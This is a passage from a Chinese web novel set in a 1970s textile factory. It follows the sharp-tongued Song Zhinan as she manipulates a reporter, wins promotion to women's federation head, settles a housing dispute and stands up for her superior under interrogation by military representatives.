宋知南觉得她跟周宴清不可能聊那么久,但是她既然出来了,可以出来逛逛嘛。 两人正说着话,她突然看见了胡记者,胡记者也看到了她,对方立即扭过脸去。 宋知南问小朱:“记者怎么也来了?” “可能他们有采访任务。” 宋知南问:“那他们会不会采访咱们的谈书记?” 小朱摇头:“这就不知道了。应该不会吧?咱们的谈书记刚调来,他们都不认识。” 宋知南说:“那帮记者中有我的一个熟人,我过去打个招呼。” 小朱略带惊讶:“宋同志,你厉害呀,你还有记者朋友?” 宋知南不在意地说:““毕竟都是文化人嘛。” “也是。”宋知南算是本地小有名气的文化人了。 宋知南在小朱诧异的目光中走向记者群。 胡记者眼观眼鼻观心,装作没看见宋知南过来。 宋知南远远地就冲他招手:“小胡,你过来。” 胡记者:“……” 他什么时候成了小胡了?而且她还用那种命令的口吻喊他?这人懂不懂礼貌和分寸? 宋知南看着胡记者在那儿发愣,又叫了一声:“小胡,我叫你呢,怎么跟傻子似的?我小时候就觉得你是个傻帽,长大后发现你是真的傻。” 胡记者忍无可忍:“姓宋的,咱俩很熟吗?” 宋知南:“你跟我不熟?上次是谁缠着我不放的?” 胡记者张大了嘴巴,众人的目光开始看向他俩,八卦他们可是专业的,怎么可能错过同行的八卦? 宋知南朝胡记者招手:“你过来,我有话嘱咐你,说完我就走。” 胡记者看着周围同行那炯炯有神的眼睛,只好硬着头皮过去。 他站在三米开外,“宋同志,你有话就直说吧。” 宋知南问道:“你跟王怀安是中专同学?” 胡记者含糊地嗯了一声。 宋知南说道:“王怀安说你是班里语文成绩最差的,没想到你走了狗屎运当了记者。” 胡记者斜睨着宋知南:“你故意挑拨离间吧?” 宋知南不屑地冷笑:“你们之间还用得着我挑拨?你觉得他阴险爱装,他觉得你不学无术滥竽充数,是个大杠头。” 胡记者像被踩着尾巴的猫似的:“他才是滥竽充数。” 宋知南不在意地说:“行啦,我对你俩之间的事没有兴趣,我现在对你只有两个要求,第一,你不准报道王怀安做好人好事的新闻,不能因为他是你同学就开后门。而且这好事还牵扯到我。我坚决不同意。” 胡记者疑惑道:“王怀安干什么好事了?”他咋不信这家伙能干出什么好事呢。 宋知南阴阳怪气地说:“人家帮助一个挨打成瘾的女人跑我这儿调解,我一调解,那女人的男人就要打我。王怀安却觉得自己助人为乐可无私了。” 胡记者暗暗记下这个消息,王怀安上次用激将法让他为难为难宋知南,事情他是做了,但碰了一鼻子灰,还被同行嘲笑,回去还被领导批评。 他有点恨上了王怀安,现在好了,这小子也有新闻了。他是报道还是不报道呢?可以报道,但又不能从好的方面报道。宋知南跟王怀安很不对付,这个也可以利用一下。 宋知南接着说,“第二件事非常重要,你给我拿本记一下。” 胡记者无语地看着宋知南,不是,你是谁啊?凭什么可以命令我? 宋知南看着发愣的胡记者,不耐烦地说:“我让你记你就记,一点眼力架都没有,这么愣头愣脑怎么当上的记者。” 胡记者:“我还就不记了,我也不听了。”说完,他就要走。 宋知南厉声道:“你敢,给我回来,我是过来传达命令的,你也别问是谁的命令,以你的资格还不配知道。我说你记:你不准采访红星纺织厂的谈林谈书记,也不准采访他的助理小朱,更不能当着他的面采访我,这三条,你胆敢违反一条,就等着挨处分吧。” 胡记者一头雾水:“为什么呀?这个谈林是谁啊,我也没接到采访他的任务呀。” 宋知南再次强调:“你们这群记者狡猾得很,我才不信你们的话,你就给我记住了,不准采访,尤其是不要拍照。” 说完,她扬长而去。 胡记者看着宋知南的背影一直在琢磨,不准采访谈林?为什么?这里面有一定有什么事情他不知道,你不让采访我就不采访了?我就要去探个究竟。 宋知南迈着轻快的步伐往回走,此时此刻,胡记者的内心活动一定很丰富。 逢人只说三分话,留得七分打天下。她这么虚虚实实,神神秘秘,胡记者反而起了好奇心。 爱抬杠的人都知道,杠头主打的就是一个叛逆,你说东他必说西,他越不让他干某事,他越想干。 宋知南就是利用了胡记者的这一特点,至于管不管用,全凭对方配合,她有枣没枣打一杆子,反正闲着也是闲着,逗记者玩也不失为一种娱乐。 宋知南再回到小朱那里的时候,小朱说:“宋同志,你跟胡记者聊了那么久啊?” 宋知南一脸不屑:“别提他了,这个家伙就是个大杠头,见到我就杠。我跟他杠得舌头疼,翻白眼翻得眼珠子疼。” 小朱噗嗤一声笑了出来,这个宋知南太有意思了。 宋知南突然问道:“你说记者要是采访谈书记是好还是不好?” 小朱不假思索:“那当然好啊,问题是现在咱们纺织厂没啥值得采访的。” 宋知南跟小朱聊了几句就去找周宴清。 胡记者的目光远远地追随着宋知南,见他跟小朱聊了会天,又见她进了政府大院。 宋知南走到市政府门口,气定神闲地对门卫说:“同志你好,我叫宋知南,我跟周宴清周老同志约好今天下午见面,请问她来了吗?” 门卫看了一眼宋知南:“周老同志今天有事来不了,她让你把信交给我,我会帮你转交。” 宋知南指指信封上的收信人,郑重其事地说道:“同志,你一定要帮我转交,这封信非常重要。” 门卫的神色也变得郑重起来:“你放心,我一定会交到周老同志手里。” 办完事,宋知南出去溜达了一大圈,还顺便去新华书店看了一眼。 她算着时间差不多了,又回到市政府门前的广场上。 她刚跟小朱说上几句话,谈林就夹着公文包出来了。 等在门口的记者们也开始出动了,分别走向各自的目标人物准备采访。 胡记者频频看向宋知南这边。 宋知南用目光警告他不要过来。 胡记者的杠瘾犯了,你不让我过来我偏过来,你能奈我何? 胡记者想到这里,大步向他们走了过来。 宋知南对谈林说道:“谈书记,你看到那个向咱们走来的记者没有?他是个杠头,还是我的熟人,你进去开会的时候,他跟我说想采访你,我说,我不太相信他的水平,看看他以后的表现再说,他就生气了,说他不靠我引荐,自己来找你采访。” 谈林不解地问:“可是我有什么好采访的?” 他刚来纺织厂,什么成绩也没做出来。 宋知南:“这些当记者的阅人无数,眼睛毒得很,他肯定一眼就看出了你的与众不同,就想提前跟你认识,好方便以后采访。” 谈林:“……”真的是这样吗? 宋知南又问:“谈书记,你从小到大是不是一直是人群中的焦点?哪怕你什么也不做也会引起别人的注意?” 谈林:“好像是有这么回事。” 宋知南:“这就对了,为什么我这么懂你?因为我跟你有点像,咱们这种人就是没办法低调。” 小朱:“……”他像悟到了点什么,但又没悟透。 两人说着话,胡记者已经到了他们面前。 他伸出手跟谈林握手:“谈书记你好,我是《青阳日报》的记者胡为先,我想采访一下你,可以吗?” 谈林矜持地点了下头,表示同意。 胡记者拿起相机先给谈林拍了一张正面照,接着开始采访:“谈书记,俗话说,新官上任三把火,请问你打算怎么烧这三把火?” 谈林:“……”他都没想好,怎么回答别人? 宋知南在旁边说道:“胡记者,这是纺织厂的机密,无可奉告。再说了,我们是纺织厂,什么火不火的,不吉利。” 胡记者接着追问谈林:“谈书记,你对宋知南这种职工怎么看?请问她在单位杠过你吗?” 这个问题,谈林能回答,他打起了官腔:“小宋同志怎么说呢?她工作认真负责,很尊重领导,非常靠谱。我们当领导的都喜欢这种有自己想法并敢于表达的职工。” 胡记者一脸问号:“谈书记,别的领导也是这么认为吗?” 谈林:“我认为他们应该也会这么认为。” 胡记者还想接着再问。 宋知南拦着他说道:“胡记者,我们谈书记一向低调,今天已经算是破例了。” 说完,她转过脸吩咐小朱:“快让书记上车,呆会儿那帮记者蜂拥而至就麻烦了。” 小朱迟钝地啊了一声,赶紧拉开车门让谈林上车。 对面的记者们都在疑惑:那人是谁啊?怎么生怕我们采访到他似的? 不行,得去看看。于是,他们真的蜂拥而至了。 谈林一直都在疑惑:他真的那么引人注目吗? 宋知南也上了车,小朱迅迅速把车调头往回开,胡记者吸了一嘴的汽车尾气。 第二天,谈林的正面照就出现在了《青阳日报》上,虽然他没说什么有用的话,但记者嘛,总有办法写出很多似是而非的话。 谈林看了一下,对他倒是有益无害。 接着,他也看到了其他报纸上关于三八节的很多报道,有照片有文字,宋知南在最显眼的地方。 文中还提到了她的快板和演讲,说她给妇联带来一股清新的风。 谈林想起昨天宋知南的那番话:他们都是一类人,注定无法低调,这不,都同时上了报纸。 他又不由自主地又想起了宋知南上次问他的那千金买马骨的故事。、 千里马,伯乐,打开被动的局面,孙副主席,吴厂长,孙主任,都是一帮老油条。 他,空降的,年轻的书记,如果能有宋知南这么一个年轻的、人缘不太好的手下应该也不错。最关键的是她办事能力强,敢说敢上,还很靠谱,事事都向他报备汇报。 周一的例会上,大家说完正事,杨主席再次正式提起,联妇办公室应该有一个妇联主任,她认为宋知南完全可以胜认,并且向大家说了宋知南在在三八文艺汇演上的突出表现。 孙主任道:“三八节汇演的事我也听说了,小宋的表现确实很抢眼,但也只能说明她在文艺表演和演讲方面有才能,并不能证明她有当妇联主任的能力。” 贺主任有点怒了,这要是换成一个男职工,这些领导还不把她夸成花儿? 杨主席给了贺胜男一个安抚的眼神,她心平气和地说道:“老孙,我明白你的意见了。现在我们来听一听吴厂长孙厂长和谈书记的意见。” 孙主任无奈又不甘心地闭上了嘴。 吴厂长慢条斯理地说:“我没什么意见。你们觉得呢?” 谈林接着说道:“宋知南口才好,文笔好,工作认真负责,为人靠谱,她当妇联主任完全没问题。唯一的短板是年龄太小,但年轻有年轻的好处,有干劲有冲劲,我们应该多多提拔年轻人。毕竟领袖说,年轻人是早上八、九点钟的太阳嘛。” 孙副厂长眉头一皱,果然,他的直觉没错,谈林想拉拢宋知南。 宋知南这人是一把锐利的刀,若是被对方阵营用来刺他们,那可就不好办了。 想到这里,他不再犹豫迟疑,便用坚定的语气说道:“其实我早就想提拔小宋了,只不过是看她年纪小,想多锻炼她一段时间,现在看来,时机已到,我同意她来当妇联主任,接管小贺那一摊子。” 厂里的一二三把手都没意见,妇联的杨贺二人又鼎力支持推荐,其他人不同意也没办法。 宋知南终于升了一级,从宋干事变成了宋主任。 贺主任和杨主席都不约而同地松了一口气。 消息传到妇联办公室,何黛十分高兴,她还担心宋知南升上不去,厂里会再派一个主任来。至于她自己,她觉得她还不行,当领导可是要担责任的,她现在没信心担起那一摊子。 宋知南举起茶缸跟何黛碰了一下杯:“革命尚未成功,我们仍需努力。——你想吃什么?我请客。” 何黛:“宋主任,我还是想吃饺子。” “可以,给你安排。” 宋知南的升职在纺织厂引起了轰动,她才工作半年,年仅16岁就当上了妇联主任,很罕见。是纺织厂自建厂以来最年轻的妇联主任。 木秀于林,风必摧之。况且,宋知南不光秀于林,她还用枝条抽人。 宋知南走在路上,都能收获一波羡慕的妒忌的愤恨不平的目光。 有一部分人心里越想越不平衡。凭什么好事都让她宋知南一个人占全了? 这些人没事就瞎琢磨,一琢磨还真找到了突破口,房子。 当时,宋知南申请到刘富贵家的房子时,就有很多人心怀不满,但大家们觉得着她一个小姑娘家住进那样的凶宅,肯定住不长久,到时候房子肯定又回到厂里,他们就可以去申请了。 但是半年过去了,人家住得好好的,根本没有要挪窝的意思。 现在宋上进和宋秋实不在了,李玉华改嫁了,宋知南家的另外一套房子也空出来了,他们一大家子住得挤挤巴巴的,宋家姐弟三人却占着两套房子,凭什么? 大家越想越不平衡,那些儿子多房子小的职工成群结队地也来找领导要求分房,同时也要求宋知南搬出刘富贵家的房子。 第113章 纺织厂的效益这几年几乎没有增长, 负担却在不断地加重,哪有余钱给职工盖房子? 若是一个两个人也就罢了, 这么多人一起来闹事,厂里必须得好好处理此事。 吴厂长很是头痛,宋知南的房子当初是他批准的,现在让他去要回来,他实在开不了口。 不要吧,这事又不好解决。吴厂长只好把事情交给孙副厂长处理。 孙副厂长也是万分头痛,这些闹事的职工不好处理,可是宋知南更不好对付,他是两头为难啊。 他思来想去,还是找宋知南谈谈吧,毕竟她只有一个人, 那边却有几十个人。 孙副厂长一脸愁容, 唉声叹气。 “小宋, 你年纪轻轻就升了职,还住着好房子, 两样好事都被你占了, 某些人心里不平衡也很正常。 现在他们都来找厂里,你现在也是个干部了,你说说这事怎么办好呢?” 宋知南说:“孙厂长,我明白你的意思,可是我当初申请房子是符合厂里规定的,现在我又是主任了,更符合分房政策。” 杠精值50。 孙厂长:“我知道, 你完全没有错,可是他们一直闹, 我们也很为难。” 宋知南犀利地反问道:“他们一闹,厂里就牺牲我的利益?下次别人有样学样,也跟着闹,你们打算再接着牺牲谁?如果他们下次看不惯你和吴厂长住好房子呢?你们也要让出来吗?” 杠精值加50。 孙副厂长耐心解释:“不是这样的,现在厂里就你一个人占着一栋房子,我们都是拖家带口的。而且你那个房子比较特殊,当时,刘富贵父子俩突然意外去世,大家都还没反应过来,你先下手申请了。其实按照常规来说,你是不太符合分房规定的。分房得先紧着更需要房子的职工,比如说那些家里人口多的,要结婚没房的职工。” 宋知南拿出厂规:“孙厂长,厂规里说了,有几类人优先分房,一是住房特别紧张的,二是要结婚的年轻夫妻,三对厂里有突出贡献的特殊人才,我符合第三条,我是特殊人才。” 孙副厂长:“啊?特殊人才?” 宋知南拍出自己的作品集:“您看看,这是我的作品剪报,我编的节目,我在报上发表文章,我带队到乡下演出,我在三八节上演讲,如果这都不叫特殊人才,那请问谁是?” 杠精值加50。 孙副厂长一想也对,点头:“你说得对,你是特殊人才。可是……” 宋知南接着说:“孙厂长,我当然理解你们的难处。你们也不是真想收回我的房子,只不过是想平息众怒。 可是你有没有想过?如果你牺牲我一个,成全那些闹事的,你们会让大家伙寒心。因为分到房子的不止我一个。今天牺牲我,明天就有可能牺牲别人,大家是不是得战战兢兢如履薄冰?再有一个就是,我爸被杀了,我哥自杀了,我妈改嫁了,我现在没有大人撑腰,厂里在这种时候收走我的房子,是不是有欺负孤女的嫌疑?” 杠精值加50。 孙副厂长面带惊讶:“怎么可能会欺负你?谁敢欺负你?” 宋知南打断他:“我说的是你们在外人眼中有这个嫌疑。你也知道群众的眼睛是雪亮的,群众的感情也是相当感性的,他们觉得是就是。当然,我是一个通情达理的人,我理解你们的难处。所以我想了一个办法。” “我打算这样,他们不是说我一个人住着房子别人觉得不公平吗?那好,我就把私房公用。我打算把星星之火文工队的办公地点设在我家里,另外,我还要弄一个妇女之家。 你看我们妇联只有两间办公室,一间要接待来访人员,一家办公用,两间都不大,我们体谅厂里的困难,也不好意思提要求。我现在把办公室也挪到我家,既能平息了那些职工的妒忌心,又能替厂里分忧,还能让你们摆脱不良的社会影响,三全其美,你说是不是?” 孙副厂长面带犹豫,宋知南接着又说:“另外,这房子我只是暂住,6年以后,我就把房子还给厂里,到时谁有本事谁申请,跟我没关系。” 宋知南算好了,1977年就恢复高考了,她到时肯定要参加。考上大学后,她也不可能再回纺织厂了。这房子按规定应该会收回去。 既然注定要还,那就提前说明,给他们一个期限,让大家伙安心。 你要说有的人连6年都等不了,那就接着再闹呗。厂里要真是按闹分配,她比谁都能闹。 孙副厂长也没有别的办法,只好点头答应,但是他也没把话说死:“这样,你先试一试,只要那些职工不再闹事就行。房子分给谁都是分,厂领导要求的是稳定和没人闹事。” 宋知南说道:“放心,这事我来解决。” 宋知南火速行动,先在她家的大门左边挂上牌子:星星之火文工队办公室,另一边挂上红星纺织厂妇女之家。 这两个名头一挂上去,房子都显得小了。 牌子挂好后,宋知南特地拍下一张照片,照片连同一份6年后搬出房子的承诺书,一起贴在厂里的公告栏里。 宋知南还写了一封告全体职工信,大意是我申请这房子符合厂里规定,现在这房子是私房公用,成了办公室,6年后我会把房子还给厂里,到时你们再去申请。如果谁对这个结果不满意,欢迎来找我辩论,我在妇联办公室恭候你们。” 大家一边看一边小声议论:“她说的真假的?6年后她真的舍得还房子?” “小宋这人说话还是算话的。” 大家一想也是,尽管她爱怼人爱骂人有时也打人,但是人家有一条是大家公认的,那就是说话算话,有信誉。她说打谁就打谁,说干啥就干啥。而且白纸黑字的,她应该不好抵赖。 至于说去找她辩论,他们想了想,自己还是算了,要是别人去,他们肯定大力支持。他们每一个人都这么想,最后是谁也没去。 因房子而起的闹事风波渐渐平息下来。 宋知南家以前独占一栋房子,现在房子摇身一变成了办公地点,这倒真的堵住了一部分人的嘴。 再加上那份承诺书也起了很大的作用,大家一想,6年是有点长,但也不是不能等。现在他们的关注点是6年以后,谁家能分到这栋房子。 厂里的领导见宋知南这么快就把风波平息下来,齐齐松了一口气。这样处理其实是最好的。 杨主席趁机表扬了这个得力下属:“小宋当上干部以后,人都变得沉稳了,也知道顾全大局了。你们看这事办得多漂亮。” 贺主任也接着说:“确实。如果让小宋让出房子,对咱们厂的名声也不好,显得咱们没有原则,工人一闹事就妥协了;不让出房子,工人又不停地闹。现在倒好,两全其美。还为厂里解决了办公室不够用的大问题,小宋真是个人才呀。” 吴厂长笑着点了下头,孙副厂长不置可否。 谈书记给了回应:“年轻人嘛,思想比较灵活开通,不僵化不拘泥。” 孙副厂长等一帮老家伙面面相觑:这是什么意思?我们都僵化拘泥? 现在,厂里隐隐有两股力量在无声地角力。 谈书记:这帮老家伙果然不好对付。 孙副厂长等人:这个年轻人这么迫不及待地想夺权。 而宋知南则是,趁着水浑就摸条鱼,顺便给自己争取点好处。两方要是打得太激烈了,她还得下场劝劝。 宋知南顺利解决了房子的事,宋知夏和宋冬宝也跟着高兴起来。 宋知夏说:“我都把房间给你收拾好了,想着你有可能搬回来住,没想到事情这么顺利地解决了。” 她就感觉这世上就没有三妹解决不了的问题。 宋冬宝说:“这几天我一直在想怎么办,我也想到一个好办法,就是我就赖在三姐的房子里不走,不论谁搬来我就不走,气死他们。” 宋知南笑笑:“这也是一个办法,留着下次用。” 对付无赖还真要用更无赖的办法,好在他们三个都会用这种办法。 现在宋家三姐弟形成了相当明确的分工:宋知夏负责管理后勤和生活,宋冬宝充当助手和打手,而宋知南则是家中的智囊和决策人。通常是她发号施令,两人负责具体执行。 三人都没觉得不妥,适应良好。 宋知夏和宋冬宝在宋家生活这么久,早形成一个共识:家里谁强就听谁的。宋知南最强,听她的没毛病。关键是她强,还给底下人好处,他们两人听得心甘情愿。 像是宋秋实那样,没有实力只是仗着父母的宠爱当家里的老大,他们口服心不服。 当然,也有居心叵测的人跑来跟宋冬宝悄悄嚼舌根,说大家都偷偷议论他仿佛是宋知南养的一条狗,宋知南让他干啥他就干啥,让他咬谁他咬谁,没有一点男子汉的气概。 而且,家里就他一个男丁,户主理应也是他,怎么户主反成了宋知夏这个离了婚的姐姐? 宋冬宝当场给撅回去:“当狗能经常吃肉,有什么不好?你们想当狗,当得上吗?” 说怪话的人一脸震惊地离开了。这世上竟然还有这种人? 宋冬宝得意地笑了。 三姐说了,只有自家的狗,不是,只有自家的人用着才最放心。那些私密的活,三姐只交给他,根本不放心别人。因为他们血浓于水,打断骨头连着筋。这些人就是见不得他好。 还说什么男丁不男丁的,他更不在意,反正他已经不是了,他的丁徒有其表,只是让他上厕所和进澡堂不尴尬而已。 宋冬宝仔细想想好像损失也不太大,他现在吃得好睡得香,还不用上学读书,领导惯着他,同事让着他,想发疯就发疯,日子过得滋润得很。 宋秋实是真蠢,他要是早点看清形势,不跟三姐作对,没准也能过上这种好日子。 宋冬宝在饭桌上把这事告诉了两个姐姐。 宋知夏骂道:“这帮人就是见不得咱们过好日子,故意挑拨离间呢。” 宋知南毫不在意地说:“这种招数对那些脑子不好使的人管用,像冬宝这样聪明的人压根没用。” 宋冬宝得意地挠挠头,他确实变聪明了,最近又长脑子了。 解决完房子的事,宋知南的生活和工作又恢复了正常。 周一上班时,贺主任来了。 宋知南和何黛一起笑着招呼:“贺主任。” 贺主任的脸色很不好,她看着两人,突然问道:“小何小宋,你们觉得杨主席这人如何?” 何黛忙说:“杨主席很好啊。” 宋知南却敏锐地问道:“贺主任,是不是杨主席出什么事了?” 贺主任深深地叹息一声:“杨主席的弟弟是军人,他那边出了一点问题,省里的军代表要来调查审问杨主席。他们有可能会找你们谈话,你们说话千万要谨慎。” 何黛赶紧表示:“贺主任放心,我们一定会注意。” 贺主任嘱咐完两人就匆匆离开了。 何黛紧张地拽拽宋知南的衣角:“南姐,杨主席不会有事吧?” 宋知南安慰道:“应该不会有事,万一对方问到咱俩,你就假装紧张,一问三不知。因为你不知道对方会抓住哪句话哪个字眼攻击杨主席。” 何黛苦笑:“我都不用假装紧张,我本来就很紧张。” 宋知南本来想教何黛一些回答问题的技巧,她还没来得及开口,就看见谈书记的助理小朱匆匆跑过来。 “宋同志,你跟我来一下,有人要问你话。” 何黛更紧张了,拽着宋知南的衣角不放。 宋知南朝她笑笑:“没事,我先去会一会他们。” 何黛这才松开手。 宋知南小声问小朱:“朱同志,你有什么要提醒我的吗?” 小朱压低声音飞快地答道:“别出头,装傻,一问三不知,没了。” 宋知南想的却是,装傻难度太大了,她能不能装点别的,顺便为杨主席打探点情报呢?不知道这军代表的杠精值有多高,她还没杠过呢。 第114章 宋知南被小朱领进了会议室, 里面坐满了厂里的领导干部们。吴厂长、孙副厂长、谈书记、贺主任、何科长等一干人全部都在。 大家眉头紧蹙,气氛有些凝重, 孙主任和何科长更是显得有些坐立不安。 宋知南一进来,大家伙都朝她行注目礼。 贺主任想开口说话,想了想又咽下去了,军代表就在里间办公室里,她现在说什么都不合适。 她只能以目示意,提醒宋知南要谨慎注意。 宋知南会意,朝贺主任微微点头致意。 宋知南敲了敲里间办公室的门,里面传来一个洪亮的声音:“进来吧。” 她推门进来,屋里一共三人,两男一女。 两个四十来岁、身穿军便服的男人坐在办公桌后面,女同志大约三十来岁, 她手里拿着笔记本和钢笔, 看样子是负责记录谈话内容的。 宋知南一进来, 三双眼睛一齐看向她,气氛沉闷又压抑。 女同志尽量用温和的口吻说道:“你叫宋知南, 现在是妇联主任, 是杨奋斗一手提拔上来的?” 宋知南:“是贺主任和杨主席推荐,厂里领导一致同意提拔我的。” 女同志:“那好,我们有一些关于杨奋斗的问题要问你,你要如实回答,不可以撒谎不可以有任何隐瞒,明白了吗?” 宋知南自己找只凳子坐下来:“你们问吧,我知无不答, 答无不尽。” 女同志对两个男同志说:“你们开始吧。” 宋知南也不方便问两人的名字,就按从左到右的顺序, 分别叫他们甲代表和乙代表。 甲代表先问:“宋知南同志,杨奋斗跟你们说过她弟弟的事吗?” 宋知南摇头:“我们都不知道杨主席有个弟弟,她弟弟怎么了?” 甲代表提醒道:“今天主要是我们问你问题,你不要反问。” 宋知南:“这位同志,我看你们都是军人。咱们军民鱼水情,我看到你们就觉得亲切,我问问你们应该也可以吧?” 杠精值100,还挺高。 宋知南看着三人,不由得双眼放光,有一种跃跃欲试的兴奋感。 三人一脸问号,这个女同志有些古怪啊。 甲代表严肃的表情有一丝皲裂:“宋知南同志,我们调查过你的风评,你知道大家对你的评语是什么吗?” 宋知南点头:“我知道,他们肯定说我忠于领袖忠于党,又红又专;爱厂如家,厂里人人都把我来夸。” 三个人一起沉默了。 乙代表过来替代了甲代表的位置,他神色严肃地说道:“宋知南同志,我希望你积极配合我们,全面、细致地揭发一下杨奋斗的问题。” 宋知南一脸茫然:“杨主席没有任何问题,她工作认真负责,大公无私,团结同事,思想纯正。她有什么好揭发的?” 乙代表:“你考虑清楚了再回答,你要对你说过的每一个字负责。” 宋知南:“一点水一个泡,我说话从来都算数。我对我刚才说的每一个字都负责。” 杠精值加100。 两人见宋知南有些油盐不进,索性一起审问。 “杨奋斗平常的工作风格如何?是不是独断专行、霸道强势?” 宋知南摇头:“杨主席工作时充满革命激情,乐于听取群众的意见,果断但不强势,既有高度的革命原则性,又有恰到好处的灵活性和人情味。” 杠精值100。 “宋知南,我们希望你的回答尽量要客观中立,尽量不要带着私人主观感情。” 宋知南有些怒了,这些人问的叫什么问题,充满着不良诱导。 她克制着怒气,平静地说道:“三位同志,你们也是军人,就应该知道,无论时局怎样乱,但军队绝对不能乱。杨主席是军属,你们这样随便调查审问军属是会引起军心动荡的。毕竟,那些军人参军的目的是保家卫国。如果他们的家人被人随便审查审问,其他人会怎么想?如果军心动了,而美帝苏修又趁机要打咱们可怎么办?如果台岛那边的人趁机打过来怎么办?你们考虑过这些吗?” 杠精值300。 两位军代表严厉地打断她:“我们国家好得很,你用不着操那么大的事,不要顾左右而言它,现在请回到正题。” 宋知南语气激昂:“同志,你们这么说就不对了。工人阶级领导一切,我是优秀工人代表,我不说领导谁,但我至少有权利建议建言吧?我人在工厂但心忧天下,五大洲的革命形势我都时刻在操心,怎么就不能操心咱们国家了?两位同志,你们是想浇灭我的爱国热情吗?你们忘了领袖的谆谆教诲吗?” 杠精值200。 宋知南说着话从口袋里掏出了红色语录书,恭恭敬敬地放在面前的桌上,礼貌地问道:“你们要不要听我背诵一下关于军队和军人的语录?” 空气突然安静下来。 两人盯着宋知南,宋知南坦然迎上去,双方在无声地用目光较量。 对方终于有了反应:“行,你有提建议的权利。” 宋知南挺直脊背,掷地有声地说:“我的建议是,龙国要富强,就不能祸起萧墙;军队要稳定,就要遵守国家规定;军民鱼水情,一定不能停。” 杠精值200。 乙代表:“宋知南同志,我们是不是该调查一下你的问题?” 他咋觉得这个女同志有些邪性呢。 宋知南主动交代:“你们不用查,我全部告诉你们。我哥是下乡知青,双腿中间的东西被我嫂子割掉了,他后来疯了,失手把我爸杀了,然后自杀了。他临死前把我弟的那东西也割伤了,我二姐因此被婆家离婚了,我妈改嫁了。现在我们姐弟三人相依为命,我们三个已经约好,全球不赤化,我们就不成家。我们要当爱党爱国,无牵无挂的民间革命家。对了,我们家绝对的根正描红,往上数二十代都没人当过地主。你们不信尽管去查。” 宋知南见三人没接话,索性接着往下说:“你们再问我一百遍关于杨主席的问题,我还是会给你们同样的回答:她工作拼命,爱厂如家,全心人意为人民服务。要说她有什么问题,我只能告诉你们八个字:不可能,绝对不可能。” 女同志插问了一句:“你对她的评价这么高吗?” 宋知南:“我只是实事求是罢了,想必你们也听出来了,我这人性情耿直,从不说慌,也不会溜须拍马。要不然,我一定会拍你们的马屁对不对?你看我拍你们了吗?我在单位是出了名的杠头,谁都敢杠,为什么我这么勇敢?因为是伟大领袖给我的底气,是革命信仰给我的勇气,我是革命一个锤,看谁不对我就敲谁。” 杠精值300。 三人:“……” 审问审到这里也只能停下了。三人相视苦笑,他们今天真是开了眼界了。 女同志再次强调:“宋知南同志,你要对你说过的每一个字负责。” 宋知南:“没问题,只要是我说的,我都认。” 女同志把刚才的询问记录推过来,宋知南认真确认一遍,潇洒地签上了自己的名字。 宋知南站起身,跟三人礼貌道别:“我刚才的话出于一片赤诚,希望你们能听进去。告辞。” 她不说再见,因为不想再见到他们。 宋知南推门出去,众人的目光刷地一下又朝她聚拢过来。 小办公室不太隔音,再加上宋知南声音清亮,语气慷慨激昂,很有辨识度,刚才的话他们都听了个七七八八。 这些人的心底翻起了波澜。 这个宋知南虽然平时杠领导,但关键时刻真的很有担当。不急不乱,对方施压她也能顶住,硬是没说出一句对杨主席不利的话,真是令人刮目相看呀。 怎么说呢,就是宋知南很有正义感,很讲义气。义气这个词,一般都是用来形容男人的,但他们并没在男人身见过,反而在这个年轻的女同志身上见到了。 谈林和吴厂长想的是,宋知南这个下属还是挺好的,她今天能为杨奋斗说话,改日他们落难她也会替他们说话。 就连对宋知南观感最复杂的孙副厂长,此时也对她的看法有了微妙的转变。 凭心而论,有这样的手下,他虽然闹心但是也放心,你不用担心她阳奉阴违,背后捅刀子。 孙厂长想着如果自己有一天处在杨奋斗的处境,他也想让宋知南能像今天这样仗义执言,敢顶敢撞。 以后,还是对她态度好点吧。 至于贺主任,她比以前更欣赏宋知南了。这个小同志不仅能力过硬,人品也过硬,经得起考验。 宋知南出来时敏锐地察觉到大家看她的目光好像不一样了。 她暗自一笑:她一直想改变领导对她的看法,这不他们就改了? 改变别人是难,但不痛苦。改变自己又难又痛苦,最好别干。 宋知南这种时候也不好对大家说什么,冲他们点点头致一下意,便离开了会议室。 她回来的路上碰到了何黛,宋知南朝她安抚地一笑,说道:“三位军代表都是好同志,人也挺温和。没事的。” 何黛点头:“没事,我不紧张了。”怕个什么,南姐不怕我也不怕。 宋知南没回办公室,她现在没心情工作,便去找保卫科的赵大刚问杨主席现在在哪里。 赵大刚摇头:“我们也不知道她关在哪里,不过应该没问题的,现在只是隔离审查而已。” 三名军代表在红星厂调查了三天,这三天,大家过得是战战兢兢如履薄冰,连说话声都变小了。 全厂的科员干部都被问了个遍,工人代表也问了几个,大家听说宋知南当面杠军代表都能全身而退,他们也没那么怕了。再说了,要是他们随便攀咬杨主席,万一人家最后没事,他们就麻烦了。厂里领导以后会怎么看他们? 被问的人都选择实话实说,没人趁机举报和落井下石。 军代表没査出任何问题,最后只能不了了之。 四天后,杨主席终于被放了出来。 宋知南听到消息赶紧过去探望,杨主席人瘦了一圈,但精神头还行。 她看到宋知南就说道:“小宋,我可听说了,你为了我连军代表都敢杠,我听完都后怕,你这个小同志,胆子是真大呀。” 宋知南:“我只是实话实说罢了,都是杨主席你的威望高,声誉好。别说是我这样的人,连苍蝇都找不到缝盯你。” 杨主席笑笑:“你还是那么嘴贫,就会逗人开心。”多少威望比她高的老同志都被打倒了。她不过是侥幸罢了。 其中宋知南在里面起到了巨大的带头作用。有人带头硬顶说好话和有人带头落井下石,结果是截然不同的。 杨主席还有很多话要说,不过来看她的人挺多,她只能匆匆结束谈话。 她紧紧握着宋知南的手:“小宋,你好好干。你是个有担当有责任感的好苗子。” 杨主席嘴里没说,但心里已经给宋知南留了一个位置,将来接替她跟贺胜男的必然是宋知南。组织就需要她这样的人才,这个社会更需要她这样的人才。 杨主席的事情解决了,宋知南心里的石头也放下了,一阵轻松。 她回到家抱着小虎,“小虎你威武,我也威武,武松打不过你,坏人也打不倒我。我是一个锤,看谁不顺眼我就捶谁,啦啦。” 小虎喵喵叫了三声:赶紧开饭吧,快饿死了。 宋知南:“你说妙妙妙,咱们的前途一定很美妙。” 小虎静静地看着主人像吃了猫薄荷一样发癫,慵懒地打了个哈欠。 第115章 宋知南当上妇联主任后, 工作内容跟以前相比变化不大,只不过是更忙些。厂里有什么事她得去帮忙, 偶尔去开个会。 宋知南一升职,妇联就多了一个位置出来,章无双毫无悬念地进来了。 何黛成了她的师傅,只是这姑娘太天真太单纯,何黛有时忍不住抚额叹息。 